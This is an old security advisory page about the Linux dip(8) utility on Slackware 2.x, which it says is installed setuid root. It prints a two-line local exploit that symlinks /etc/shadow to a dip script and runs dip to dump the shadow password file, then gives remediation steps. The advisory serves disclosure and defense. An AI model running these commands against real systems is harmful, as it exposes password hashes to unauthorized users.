[ Search ] [ What's New? ] [ About ]
[ Bugs ] [ Misc ] [ Mailing Lists ] [ Newgroups ] [ NewsWire ] [ Papers ] [ People ]
[ Pictures ] [ Publications ] [ Responce Teams ] [ Tools ] [ Upcoming Events ] [ Web Sites ]

dip(8)
Systems Affected:Slackware 2.0, 2.1, 2.2, 2.3. Other Linux systems.
Problem: dip(8) is installed setuid root and world executable by default. This allows a user to read any file on the system.
	$ ln -s /etc/shadow /tmp/dummy.dip
	$ /sbin/dip -v /tmp/dummy.dip
	[ Shadow password file and some garbage ]
Solution:Turn off the setuid bit. Change the group to modem and chmod to 2110. Then chgrp all your /dev/ttyS* and /dev/cua* file to modem and chmod them all to 660. You may need to do the same with your getty, pppd, and dialout programs.

Aleph One / aleph1@underground.org
Copyright © 1996 Computer Underground Society. All rights reserved.